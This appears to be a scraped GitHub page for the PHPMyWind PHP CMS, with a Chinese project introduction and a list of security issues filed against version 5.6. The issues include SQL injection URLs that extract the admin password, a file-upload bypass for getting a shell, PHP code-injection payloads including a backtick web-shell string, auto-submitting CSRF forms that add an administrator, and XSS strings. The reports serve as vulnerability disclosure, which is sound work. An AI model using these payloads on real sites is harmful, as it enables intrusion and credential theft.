gaozhifeng / phpmywind Goto Github PK

View Code? Open in Web Editor NEW

50.0 6.0 22.0 5.64 MB

Home Page: http://phpmywind.com

License: Other

PHP 71.55% HTML 2.71% JavaScript 18.95% CSS 6.80%

phpmywind's Introduction

关于它

PHPMyWind是一个品牌，一款基于PHP+MySQL开发符合W3C标准的建站引擎。它将带给人们一系列高效的，成熟的企业网站建设解决方案，让您的信息以更健康的形式高速传递给需要它的人们，同时让您感受通过PHPMyWind带给您畅快体验。

关于我们

我们是**企业建站行业中的一员，是有着很多单纯梦想的年轻人。在工作中，我们希望拥有一款开发利器，实实在在适合企业建站的开发利器，希望它灵活、快捷、高效。有时候我们不需要太繁华的功能，有时候我们又需要强大的支持，由此就有了PHPMyWind。我们喜欢开发，乐于在开发中寻找快乐，但是我们不仅仅要开发，我们更要做出自己的特色。

设计理念

我们追求速度与舒适度和尽可能的轻量。PHPMyWind要做的，只是贴近再贴近**建站行业人员的使用习惯。在我们的眼中，PHPMyWind不止是一款CMS。它是一套底层代码，是工具箱，是万花筒。我们工作中的任何项目都可以通过改动它来完成。前提是我们都具备PHP的开发基础。我们会尽一切努力把代码与结构制作的简单易懂。你需要什么，尽管来拿！

我承认，我们不完美，但我们一直在努力

PHPMyWind 前台与后台完全采用PHP原生代码开发完成。PHPMyWind 主要面向的开发者就是企业建站行业的同学们。我们需要的是简单的，快速的，稳定的，拆分性较强的CMS。可能每个站只有几个栏目，亦或网站功能较为特殊需要定制。所以，对功能模块化要求极强。因此，我们总结上述几点是企业建站开发者们最需要的几点需求，以此为突破口，开发过程中时刻遵循于此。我们希望，开发者在开发的过程中感觉快速、舒适，这就是我们的追求。 PHPMyWind 从2010年开发至今已有4年时间，其间已经过4次重写。结构，代码写法逐步成熟。系统内置多个类以及函数，大幅提升开发速度。如目前对系统类使用不惯得同学们，也可以采用PHP内置原生方式开发。每个前台页面保证在头部调用 '/include/config.inc.php' 即可初始化系统代码，进行开发工作。PHPMyWind提供前台作为示例展示，也可直接使用。您可视PHPMyWind为一款CMS核心，在它之上制作丰富的网站项目。

phpmywind's People

Contributors

Stargazers

Watchers

phpmywind's Issues

欢迎大家来围观

sql injection exists many places in PHPMyWind v5.6

Product Homepage:http://phpmywind.com/
hello!
I found a serious SQL injection vulnerability in the backend management system(/admin/admin_save.php) of PHPMyWind v5.6

This vulnerability allows low-privilege site administrators to gain access to super-administrator accounts and passwords

Vulnerability validation：
First, there are three types of administrators in the current system: super administrators, site administrators, and article publishers

Now to the site administrator login background management system, click the administrator management, and then "delete function" is the location of the vulnerability

it's url is http://127.0.0.1/admin/admin_save.php?action=del&id=4

POC
(1)
http://127.0.0.1/admin/admin_save.php?action=del&id=4%27

(2)show the current database

http://127.0.0.1/admin/admin_save.php?action=del&id=4%20%20and%20id%20in%20(char(@`%27`),updatexml(1,concat(0x7e,(select%20database())),1),char(@`%27`))

(3) Query out the super administrator password

http://127.0.0.1/admin/admin_save.php?action=del&id=4  and id in (char(@`'`),updatexml(1,concat(0x7e,(select password from pmw_admin limit 0,1)),1),char(@`'`))

This vulnerability allows you to query the database for any data you want

I found upload vulnerability admin/upload_file_do.php getshell at version5.6

1.login as admin
2.visit website setting
upload type add PHP (space)

because Windows will remove the space so by pass suffix check
3.upload a php file like name info.PHP

filename add a space
you can see upload success

4.visit the link
you can see php code was execute

becaue at data/httpfile/upload.class.php

you do not check the input filename

so trim(filename) can help you

author by [email protected]

version 5.6

I found a php code execute in /admin/web_config.php at version5.6

hi:
I found a php code execute in /admin/web_config.php at version5.6
1.Login as admin
2. open http://192.168.10.12/admin/default.php
3.at the setting watermark input the payload

Watermark text input xxx'
Text color input ;phpinfo();//

4.submit and visit watermark setting you can see the php code execute

because the payload was write in /data/watermark.inc.php

the watermark.inc.php was inclue by require_once so php code execute

suggest:
replace ' ,,;,(,)

version:5.6
author by [email protected]

I hope you can fix it

CSRF vulnerability exists in PHPMyWind v5.6

Product Homepage: http://phpmywind.com/

Software link: https://github.com/gaozhifeng/PHPMyWind

Version: v5.6

The backend code writes the new user data to the database without authentication such as token

	if($dosql->GetOne("SELECT `id` FROM `$tbname` WHERE `username`='$username'"))
	{
		ShowMsg('用户名已存在！', '-1');
		exit();
	}


	$password  = md5(md5($password));
	$loginip   = '127.0.0.1';
	$logintime = time();

	$sql = "INSERT INTO `$tbname` (username, password, nickname, question, answer, levelname, checkadmin, loginip, logintime) VALUES ('$username', '$password', '$nickname', '$question', '$answer', '$levelname', '$checkadmin', '$loginip', '$logintime')";
	if($dosql->ExecNoneQuery($sql))
	{
		header("location:$gourl");
		exit();
	}

When the background administrator clicks the malicious link, the background will add an administrator user

PoC:

<html>
<body>
<form action="http://127.0.0.1:9000/admin/admin_save.php" method="POST"> 
<html>
    <form action="http://127.0.0.1:9000/admin/admin_save.php" method="POST">
      <input type="hidden" name="username" value="admincsrf" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="repassword" value="admin" />
      <input type="hidden" name="question" value="0" />
      <input type="hidden" name="answer" value="" />
      <input type="hidden" name="nickname" value="" />
      <input type="hidden" name="levelname" value="1" />
      <input type="hidden" name="checkadmin" value="true" />
      <input type="hidden" name="action" value="add" />
      <input type="submit" value="Submit request" />
</form> 
<script> 
    document.forms[0].submit();
</script>
</body>
</html>

A CSRF vulnerability that can add the administrator account

There is no Token authentication when adding administrator users.
/admin/admin_save.php
The core code is as follows

if($action == 'add')
{
	if($cfg_adminlevel > 1 and $levelname == 1)
	{
		ShowMsg('非法的操作，不能创建超级管理员！', '-1');
		exit();
	}
	

	$password  = md5(md5($password));
	$loginip   = '127.0.0.1';
	$logintime = time();

	$sql = "INSERT INTO `$tbname` (username, password, nickname, question, answer, levelname, checkadmin, loginip, logintime) VALUES ('$username', '$password', '$nickname', '$question', '$answer', '$levelname', '$checkadmin', '$loginip', '$logintime')";
	if($dosql->ExecNoneQuery($sql))
	{
		header("location:$gourl");
		exit();
	}
}

After the administrator logs in, just click on the attack page, and the administrative user will be added.
poc：

<html>
<body>
<form name="form" method="post" action="http://localhost/phpmywind/admin/admin_save.php">
		<input type="hidden" name="username" value="csrf">
		<input type="hidden" name="password" value="123456">
		<input type="hidden" name="repassword" value="123456">
		<input type="hidden" name="question" value="0">
		<input type="hidden" name="levelname" value="1">
		<input type="hidden" name="checkadmin" value="true">
		<input type="hidden" name="action" value="add">
		<input type="submit" value="Submit request" />
</form>
</body>
 <script>
   setInterval("document.all.form.submit()",1)
 </script>
</html>

Bug: V5.6 Cross Site Scripting Vulnerability

There is an xss vulnerability in your latest version of the v5.6

No security check in page phpmywind/admin/infolist_add.php

When I add a new article, I use "<script>alert(/xss/)</script>" as the title

then back to the PHPMYWIND/admin/infolist.php

background page executed a javascript script

javascript also executed on mainpage

Fix:

Strictly verify user input, you must perform strict checks and html escape escaping on all input scripts, iframes, etc. The input here is not only the input interface that the user can directly interact with, but also the variables in the HTTP request in the HTTP request, the variables in the HTTP request header, and so on.
Verify the data type and verify its format, length, scope, and content.
Not only need to be verified on the client side but also on the server side.
The output data should also be checked. The values in the database may be output in multiple places on a large website. Even if the input is coded, the security check should be performed at the output points.

PHP Code Execution via WriteConfig() function

#Author: KietNA from 1nv1cta team, HPT CyberSecurity Center
#Submit date: 22/08/2021
#Condition: Admin user
#Version: v5.6
#Description:
Becase of filtered input without "<, >, ?, =, `,...." In WriteConfig() function, the attacker can inject php code to /include/config.cache.php file. The attacker can append ?> to close php syntax and adding new php function

In /admin/site_save.php file

WriteF() function:

###PoC:

In config.cache.php file

Then back to .php files in /admin/ directory to execute code

###Request

POST /admin/site_save.php HTTP/1.1
Host: 172.16.0.12:2222
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
Origin: http://172.16.0.12:2222
Connection: close
Referer: http://172.16.0.12:2222/admin/site_add.php
Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn; workspaceParam=users_index%7CMember; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; users_id=1; PHPSESSID=qhclrgdoah7rbv9l34fvj07h00
Upgrade-Insecure-Requests: 1

site_name=123&site_key=kietna?><?=`$_GET[0]`?><?&site_lang=testtest&webname=123&weburl=http%3A%2F%2F172.16.0.12%3A2222&webpath=123&webswitch=Y&action=add

###Response

HTTP/1.1 200 OK
Date: Sun, 22 Aug 2021 07:54:03 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29
X-Powered-By: PHP/7.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 12942

<script type="text/javascript">window.top.location.reload();</script>

page.php maybe has some vul

When I visit the next three url, my code will be injected to the source code of the page at the location of page number area.
http://localhost/wind/newsshow.php?cid=4"onmouseover='FeGh(9201)&id=19
http://localhost/wind/news.php?"onmouseover='FeGh(9201)'bad="
http://localhost/wind/about.php?"onmouseover='B427(9671)'bad="

Then, you can use browser check the source code cf the page, you will find the payload code in the code where is page number area.

The vul coursed by the "$nowurl" in “page.class.php"

i found admin/admin_save.php in PHPMyWind 5.6 has sql injection.

i found a sql injection vulnerability in the backend management system of PHPMyWind 5.6
The relevant source code is as follows:

//修改管理员
else if($action == 'update')
{

	//创始人账号不允许更改状态
	if($id == 1 and ($checkadmin != 'true' or $levelname != '1'))
	{
		ShowMsg('抱歉，不能更改创始账号状态！','-1');
		exit();
	}


	//只有超级管理员才有权修改超级管理员
	if($cfg_adminlevel > 1 and $levelname == 1)
	{
		ShowMsg('非法的操作，不能修改为超级管理员！', '-1');
		exit();
	}


	if($password == '')
	{
		$sql = "UPDATE `$tbname` SET nickname='$nickname', question='$question', answer='$answer', levelname='$levelname', checkadmin='$checkadmin' WHERE `id`=$id";
	}
	else
	{
		$oldpwd   = md5(md5($oldpwd));
		$password = md5(md5($password));

		$r = $dosql->GetOne("SELECT `password` FROM `#@__admin` WHERE `id`=$id");
		if($r['password'] != $oldpwd)
		{
			ShowMsg('抱歉，旧密码错误！','-1');
			exit();
		}

		$sql = "UPDATE `$tbname` SET password='$password', nickname='$nickname', question='$question', answer='$answer', levelname='$levelname', checkadmin='$checkadmin' WHERE id=$id";
	}

	if($dosql->ExecNoneQuery($sql))
	{
		header("location:$gourl");
		exit();
	}
}

All three SQL here are vulnerability,because the variable '$id' is not protected by single quotes.

Vulnerability validation：
First , we enter in this page by super administrators account or site administrators account

and click the modify buttom

Click submit and use burp to intercept to modify the variable $id to injection

POC

AND id in (char(@`'`), updatexml(1,(concat(0x7e,(select password from pmw_member limit 0,1),0x7e)),1),char(@`'`))

建议把图片上传的插件改为非flash，以便将来更好支持更新浏览器

出现诡异情况，程序突然报 PHPMyWind安全警告：MySql Error！

错误信息：连接数据库失败，可能数据库密码不对或数据库服务器出错！

软件版本号： 5.4 Beta

服务器版本： nginx/1.8.1 | 操作系统： Linux
PHP版本号： 7.1.0 | GDLibrary：支持
MySql版本： 5.70 | ZEND支持：支持
支持上传的最大文件：2M

程序没动过，突然就出现上述问题

Bug: V5.5 Cross Site Scripting Vulnerability

There is an xss vulnerability in your latest version of the v5.5

In the PHPMyWind_5.5/admin/templates/html/default.html：

2.Steps To Reproduce: